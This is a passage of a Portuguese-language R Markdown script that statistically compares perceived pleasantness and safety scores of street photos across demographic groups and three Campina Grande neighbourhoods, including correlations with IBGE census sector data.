agrad <- novosDados[novosDados$V1 == "agradavel?",]
seg <- novosDados[novosDados$V1 == "seguro?",]
cor.test(agrad$V3.Pos, agrad$V3.Medio, method = "spearman")
cor.test(agrad$V3.Pos, agrad$V3.Medio, method = "pearson")
cor.test(agrad$V3.Pos, agrad$V3.Medio, method = "kendall")
cor.test(seg$V3.Pos, seg$V3.Medio, method = "spearman")
cor.test(seg$V3.Pos, seg$V3.Medio, method = "pearson")
cor.test(seg$V3.Pos, seg$V3.Medio, method = "kendall")
w = 10
h = 7
pdf("medXpos.pdf", width = w, height = h)
ggplot(novosDados, aes(y=V3.Pos, x=V3.Medio, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Low Education")+ylab("QScore High Education")+geom_abline(intercept=0, colour="red")+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
hom <- dadosSub[(dadosSub$grupo == 'Medio'),]
mul <- dadosSub[(dadosSub$grupo == 'Pos'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.Medio - novosHomMul$V3.Pos
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", novosHomMul[0:10,]$V1))
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para medio e pós
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:24), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:35), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMP <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Medio' | dadosCopy$grupo == 'Pos') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:33), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:35), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMP <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMP$V3.Medio, dadosMP$V3.Pos, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Agradavel x Seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosG <- dadosSub[dadosSub$grupo == 'Geral',]
dadosG$bairro <- as.character(dadosG$bairro)
dadosG$bairro[dadosG$bairro == "catole"] <- "Catolé"
dadosG$bairro[dadosG$bairro == "liberdade"] <- "Liberdade"
dadosG$bairro[dadosG$bairro == "centro"] <- "Centro"
novosDados <- reshape(dadosG, timevar="V1", idvar=c("V2", "grupo", "diag", "hor", "vert", "red", "green", "blue" ,"bairro"), direction="wide")
library(plyr)
novosDados <- rename(novosDados, c("V3.agradavel?"="Pleasant", "V3.seguro?"="Safe"))
w = 5
h = 4
pdf("agraXseg.pdf", width = w, height = h)
#jpeg("agraXseg.jpg")
ggplot(novosDados, aes(y=Pleasant, x=Safe, colour=bairro))+geom_point(alpha = 0.7, size=1.7)+xlab("QScore Safeness")+ylab("QScore Pleasant")+geom_abline(intercept=0, colour="red")+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
cor.test(novosDados$"V3.seguro?", novosDados$"V3.agrad%C3%A1vel?", method="kendall")
cor.test(novosDados$"V3.seguro?", novosDados$"V3.agrad%C3%A1vel?", method="pearson")
cor.test(novosDados$"V3.seguro?", novosDados$"V3.agrad%C3%A1vel?", method="spearman")
```
# Boxplots por grupos e bairros
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosSubA <- dadosSub[dadosSub$V1 == 'agrad%C3%A1vel?' & dadosSub$grupo != 'CCentro' & dadosSub$grupo != 'NCCentro' & dadosSub$grupo != 'CLiberdade' & dadosSub$grupo != 'NCLiberdade' & dadosSub$grupo != 'CCatole' & dadosSub$grupo != 'NCCatole',]
dadosSubS <- dadosSub[dadosSub$V1 == 'seguro?' & dadosSub$grupo != 'CCentro' & dadosSub$grupo != 'NCCentro' & dadosSub$grupo != 'CLiberdade' & dadosSub$grupo != 'NCLiberdade' & dadosSub$grupo != 'CCatole' & dadosSub$grupo != 'NCCatole',]
ggplot(dadosSubA, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 2, alpha = 0.6) +
theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=14), axis.title=element_text(size=14))+ facet_wrap( ~ grupo, ncol=2)
ggplot(dadosSubS, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 4, alpha = 0.6) +
theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=14), axis.title=element_text(size=14))+ facet_wrap( ~ grupo, ncol=2)
dadosSubA <- dadosSub[dadosSub$V1 == 'agrad%C3%A1vel?' & (dadosSub$grupo == 'Medio' | dadosSub$grupo == 'Pos' | dadosSub$grupo == 'Feminino' | dadosSub$grupo == 'Masculino' | dadosSub$grupo == 'Media' | dadosSub$grupo == 'Baixa') & (dadosSub$bairro == 'centro' | dadosSub$bairro == 'liberdade'),]
dadosSubS <- dadosSub[dadosSub$V1 == 'seguro?' & (dadosSub$grupo == 'Casado' | dadosSub$grupo == 'Solteiro' | dadosSub$grupo == 'Medio' | dadosSub$grupo == 'Pos' | dadosSub$grupo == 'Media' | dadosSub$grupo == 'Baixa' | dadosSub$grupo == 'Jovem' | dadosSub$grupo == 'Adulto') & (dadosSub$bairro == 'centro' | dadosSub$bairro == 'catole'),]
dadosSubA$grupo <- as.character(dadosSubA$grupo)
dadosSubA$bairro <- as.character(dadosSubA$bairro)
dadosSubA$grupo[dadosSubA$grupo == "Media"] <- "Média"
dadosSubA$grupo[dadosSubA$grupo == "Medio"] <- "Médio"
dadosSubA$grupo[dadosSubA$grupo == "Pos"] <- "Pós"
dadosSubA$bairro[dadosSubA$bairro == "centro"] <- "Centro"
dadosSubA$bairro[dadosSubA$bairro == "liberdade"] <- "Liberdade"
dadosSubA$grupo <- factor(dadosSubA$grupo, levels = c('Média', 'Baixa', 'Feminino', 'Masculino', 'Médio', 'Pós'))
ggplot(dadosSubA, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) +
theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+ facet_wrap( ~ grupo, ncol=2)
dadosSubS$grupo <- as.character(dadosSubS$grupo)
dadosSubS$bairro <- as.character(dadosSubS$bairro)
dadosSubS$grupo[dadosSubS$grupo == "Media"] <- "Média"
dadosSubS$grupo[dadosSubS$grupo == "Medio"] <- "Médio"
dadosSubS$grupo[dadosSubS$grupo == "Pos"] <- "Pós"
dadosSubS$bairro[dadosSubS$bairro == "centro"] <- "Centro"
dadosSubS$bairro[dadosSubS$bairro == "catole"] <- "Catolé"
dadosSubS$grupo <- factor(dadosSubS$grupo, levels = c('Média', 'Baixa', 'Casado', 'Solteiro', 'Médio', 'Pós', 'Jovem', 'Adulto'))
ggplot(dadosSubS, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) +
theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+ facet_wrap( ~ grupo, ncol=2)
```
# Distribuições dos dados por grupo - agradável
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
library("stats")
print("Jov x Adu Centro Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Jovem" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Adulto" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi Centro Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Baixa" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Media" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem Centro Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Masculino" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Feminino" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt Centro Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Casado" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Solteiro" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Medio x Pos Centro Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Medio" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Pos" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Jov x Adu catole Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Jovem" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Adulto" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi catole Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Baixa" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Media" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem catole Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Masculino" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Feminino" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt catole Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Casado" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Solteiro" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt catole Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Medio" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Pos" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Jov x Adu liberdade Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Jovem" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Adulto" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi liberdade Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Baixa" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Media" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem liberdade Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Masculino" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Feminino" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt liberdade Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Casado" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Solteiro" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt liberdade Agrad")
grupo1 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Medio" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Pos" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
```
# Distribuições dos dados por grupo - seguranca
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
library("stats")
print("Jov x Adu Centro Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Jovem" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Adulto" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi Centro Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Baixa" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Media" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem Centro Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Masculino" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Feminino" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt Centro Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Casado" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Solteiro" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Medio x Pos Centro Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Medio" & dados$bairro == "centro", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Pos" & dados$bairro == "centro", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Jov x Adu catole Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Jovem" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Adulto" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi catole Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Baixa" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Media" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem catole Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Masculino" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Feminino" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt catole Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Casado" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Solteiro" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt catole Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Medio" & dados$bairro == "catole", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Pos" & dados$bairro == "catole", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Jov x Adu liberdade Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Jovem" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Adulto" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Bai x Medi liberdade Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Baixa" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Media" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Masc x Fem liberdade Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Masculino" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Feminino" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt liberdade Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Casado" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Solteiro" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
print("Cas x Solt liberdade Seg")
grupo1 <- dados[dados$V1 == "seguro?" & dados$grupo == "Medio" & dados$bairro == "liberdade", ]
grupo2 <- dados[dados$V1 == "seguro?" & dados$grupo == "Pos" & dados$bairro == "liberdade", ]
dados1 <- grupo1[,c(3)]
dados2 <- grupo2[,c(3)]
ks.test(dados1, dados2)
```
# Dispersão por foto
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
agrad <- dados[dados$V1 == "agrad%C3%A1vel?" & dados$grupo == "Media", ]
seg <- dados[dados$V1 == "seguro?" & dados$grupo == "Media", ]
agrad <- agrad[,c(1, 3:103)]
seg <- seg[,c(1, 3:103)]
agrad <- agrad[with(agrad, order(V2)), ]
seg <- seg[with(agrad, order(V2)), ]
pdf("fotosMaiorDispersaoMed.pdf", width=10,height=8)
#First 30 photos
agrad2 <- reshape(agrad[c(1:30),], varying=2:102, v.names="Score", timevar="foto", times=names(agrad)[2:102], idvar="ID", direction="long")
seg2 <- reshape(seg[c(1:30),], varying=2:102, v.names="Score", timevar="foto", times=names(seg)[2:102], idvar="ID", direction="long")
ggplot(agrad2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Agrad 1:30") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
ggplot(seg2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Seg 1:30") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
#Second 30 photos
agrad2 <- reshape(agrad[c(31:60),], varying=2:102, v.names="Score", timevar="foto", times=names(agrad)[2:102], idvar="ID", direction="long")
seg2 <- reshape(seg[c(31:60),], varying=2:102, v.names="Score", timevar="foto", times=names(seg)[2:102], idvar="ID", direction="long")
ggplot(agrad2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Agrad 31:60") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
ggplot(seg2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Seg 31:60") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
#Third 30 photos
agrad2 <- reshape(agrad[c(61:90),], varying=2:102, v.names="Score", timevar="foto", times=names(agrad)[2:102], idvar="ID", direction="long")
seg2 <- reshape(seg[c(61:90),], varying=2:102, v.names="Score", timevar="foto", times=names(seg)[2:102], idvar="ID", direction="long")
ggplot(agrad2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Agrad 61:90") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
ggplot(seg2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Seg 61:90") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
#Last 30 photos
agrad2 <- reshape(agrad[c(91:108),], varying=2:102, v.names="Score", timevar="foto", times=names(agrad)[2:102], idvar="ID", direction="long")
seg2 <- reshape(seg[c(91:108),], varying=2:102, v.names="Score", timevar="foto", times=names(seg)[2:102], idvar="ID", direction="long")
ggplot(agrad2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Agrad 91:108") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
ggplot(seg2, aes(y=Score, x = V2)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 1, alpha = 0.6) +
theme_bw()+ xlab("") + ggtitle("Seg 91:108") +
ylab("Disp. QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=9), axis.title=element_text(size=14))
dev.off()
#Sorting all images and groups by standard deviation
dados$desvio <- apply(dados[,c(3:103)], 1, sd)
dados <- dados[with(dados, order(-desvio)), ]
sink("fotosDispersaoGeral.dat")
print(paste(dados$V1, dados$grupo, dados$V2, dados$V3, dados$desvio))
dev.off()
```
# Correlação entre dados do IBGE e QScores dos setores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dad <- read.table("/local/david/pos/Doutorado/Projetos de Tese/2014.3/IBGE/EXCEL/Entorno01_PB.csv", sep=",", header=T)
novosDados <- data.frame(setor=dad$Cod_setor, bairro=dad$Nome_do_bairro, iluminacao=(dad$V008+dad$V010+dad$V012)/dad$V001, pavimentacao=(dad$V014+dad$V016+dad$V018)/dad$V001, calcada=(dad$V020+dad$V022+dad$V024)/dad$V001, arborizacao=(dad$V044+dad$V046+dad$V048)/dad$V001)
#Dados do ibge por setor
catole = subset(novosDados, bairro == 'Catolé')
centro = subset(novosDados, bairro == 'Centro de Campina Grande')
liberdade = subset(novosDados, bairro == 'Liberdade')
setores <- rbind(catole[catole$setor == 250400905000060,], catole[catole$setor == 250400905000062,], centro[centro$setor == 250400905000004,], centro[centro$setor == 250400905000013,], liberdade[liberdade$setor == 250400905000095,], liberdade[liberdade$setor == 250400905000089,])
allDataSetores <- read.table("geralSetores.dat", header=TRUE)
#Qscores por setor para agradavel
cat1 <- allDataSetores[allDataSetores$setor == 250400905000060 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
cat2 <- allDataSetores[allDataSetores$setor == 250400905000062 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
cen1 <- allDataSetores[allDataSetores$setor == 25040090500004 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
cen2 <- allDataSetores[allDataSetores$setor == 250400905000013 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
lib1 <- allDataSetores[allDataSetores$setor == 250400905000089 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
lib2 <- allDataSetores[allDataSetores$setor == 250400905000095 & allDataSetores$V1 == "agradavel?" & allDataSetores$grupo == "Geral",]
#Qscore médio por setor
setores$qscore = 0
setores[setores$setor == 250400905000060,]$qscore = mean(cat1$V3)
setores[setores$setor == 250400905000062,]$qscore = mean(cat2$V3)
setores[setores$setor == 250400905000004,]$qscore = mean(cen1$V3)
setores[setores$setor == 250400905000013,]$qscore = mean(cen2$V3)
setores[setores$setor == 250400905000089,]$qscore = mean(lib1$V3)
setores[setores$setor == 250400905000095,]$qscore = mean(lib2$V3)
# cat1$iluminacao <- setores[setores$setor == 250400905000060,]$iluminacao
# cat1$arborizacao <- setores[setores$setor == 250400905000060,]$arborizacao
# cat1$pavimentacao <- setores[setores$setor == 250400905000060,]$pavimentacao
# cat1$calcada <- setores[setores$setor == 250400905000060,]$calcada
# cat2$iluminacao <- setores[setores$setor == 250400905000062,]$iluminacao
# cat2$arborizacao <- setores[setores$setor == 250400905000062,]$arborizacao
# cat2$pavimentacao <- setores[setores$setor == 250400905000062,]$pavimentacao
# cat2$calcada <- setores[setores$setor == 250400905000062,]$calcada
# cen1$iluminacao <- setores[setores$setor == 250400905000004,]$iluminacao
# cen1$arborizacao <- setores[setores$setor == 250400905000004,]$arborizacao
